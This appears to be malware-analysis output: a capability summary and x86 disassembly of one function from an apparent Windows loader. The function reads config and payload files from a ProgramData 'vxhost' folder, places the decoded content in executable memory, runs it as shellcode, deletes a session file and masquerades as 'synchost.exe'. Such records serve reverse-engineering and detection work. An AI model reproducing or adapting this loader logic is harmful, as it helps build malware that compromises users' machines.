Function at 0x10008a00
Capabilities:
Allocate or change rwx memory
Check if file exists
Delete file
Execute shellcode via indirect call
Get common file path
Get file attributes
Get file size
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x334
lea eax, [esp + 0x124]
push ebx
push esi
push edi
push 0x104
push 0
push eax
call fcn.1000f750
add esp, 0xc
push str.C:ProgramDatauncfg.cfg
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0xffffffff
je 0x10008aab
push 0
push 0x80
push 3
push 0
push 0
push 1
push str.C:ProgramDatauncfg.cfg
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10008aab
push 0
push esi
call ebx
push 0
lea ecx, [esp + 0x20]
push ecx
push eax
lea eax, [esp + 0x13c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x130]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x10008a88
mov eax, dword [str.goopdate.ja]
mov dword [ecx], eax
mov eax, dword [0x100381e4]
mov dword [ecx + 4], eax
mov eax, dword [0x100381e8]
mov dword [ecx + 8], eax
jmp 0x10008ac9
lea edi, [esp + 0x130]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10008ab3
mov ecx, 8
mov esi, str.c:programdata_vxhostgoopdate.ja
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea eax, [esp + 0x130]
push eax
push 0x10038214
call fcn.10002fb0
add esp, 8
push 0
push 0x80
push 3
push 0
push 0
push 1
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10008d9c
push 0
push esi
call ebx
push 0x40
mov edi, eax
push 0x1000
push edi
push 0
mov dword [esp + 0x2c], edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0
lea ecx, [esp + 0x24]
mov dword [esp + 0x18], eax
push ecx
push edi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [esp + 0x14]
mov ecx, 0x3d
push edi
mov edx, esi
call fcn.10008730
add esp, 4
lea eax, [esp + 0x28]
push 0x104
push 0
push eax
call fcn.1000f750
add esp, 0xc
lea eax, [esp + 0x28]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x28]
dec ecx
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x10008b72
mov eax, dword [str._synchost.exe]
xor ebx, ebx
mov dword [ecx], eax
mov eax, dword [0x100381fc]
mov dword [ecx + 4], eax
mov eax, dword [0x10038200]
mov dword [ecx + 8], eax
mov ax, word [0x10038204]
mov word [ecx + 0xc], ax
mov dword [esp + 0x10], ebx
cmp dword [0x10073f69], 0
je 0x10008bc9
call dword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
cmp dword [0x10075f60], eax
je 0x10008d49
call dword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
mov esi, eax
jmp 0x10008c9e
push 0x104
lea eax, [esp + 0x23c]
mov dword [esp + 0x1c], 0xffffffff
push 0
push eax
call fcn.1000f750
add esp, 0xc
lea ecx, [esp + 0x238]
call fcn.100086c0
test eax, eax
je 0x10008c2b
lea ecx, [esp + 0x238]
dec ecx
mov al, byte [ecx + 1]
inc ecx
test al, al
jne 0x10008c00
mov eax, dword [str.session.ja]
mov dword [ecx], eax
mov eax, dword [0x1003820c]
mov dword [ecx + 4], eax
mov ax, word [0x10038210]
mov word [ecx + 8], ax
mov al, byte [0x10038212]
mov byte [ecx + 0xa], al
jmp 0x10008c4c
lea edi, [esp + 0x238]
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10008c33
mov ecx, 8
mov esi, str.c:programdata_vxhost_session.ja
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x1c]
push 0
push 0x80
push 3
push 0
push 0
push 1
lea eax, [esp + 0x250]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x10008c9a
push 0
lea eax, [esp + 0x28]
push eax
push 4
lea eax, [esp + 0x24]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [esp + 0x238]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, dword [esp + 0x18]
cmp esi, 0xffffffff
je 0x10008d45
push 0x1388
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
jne 0x10008cd6
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0xbb8
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, 0x54c5638
jne 0x10008d01
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x10]
push edi
push eax
lea ecx, [esp + 0x30]
call fcn.10004da0
add esp, 8
xor esi, esi
mov dword [0x10075f60], esi
jmp 0x10008d84
push ecx
xor edx, edx
call fcn.10004b80
add esp, 4
lea edx, [esp + 0x10]
test al, al
lea ecx, [esp + 0x28]
mov eax, dword [esp + 0x14]
je 0x10008d32
test esi, esi
jne 0x10008d32
push edi
push eax
call fcn.10005230
add esp, 8
mov dword [0x10075f60], esi
jmp 0x10008d84
push esi
push edi
push eax
call fcn.100050d0
add esp, 0xc
mov dword [0x10075f60], esi
jmp 0x10008d84
mov esi, dword [esp + 0x14]
push 0x3e8
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x10008d88
push ecx
xor edx, edx
call fcn.10004b80
add esp, 4
lea edx, [esp + 0x10]
lea ecx, [esp + 0x28]
push edi
push esi
test al, al
je 0x10008d7c
call fcn.10005230
jmp 0x10008d81
call fcn.10004da0
add esp, 8
mov ebx, dword [esp + 0x10]
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [esp + 0x14]
jmp 0x10008ba1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret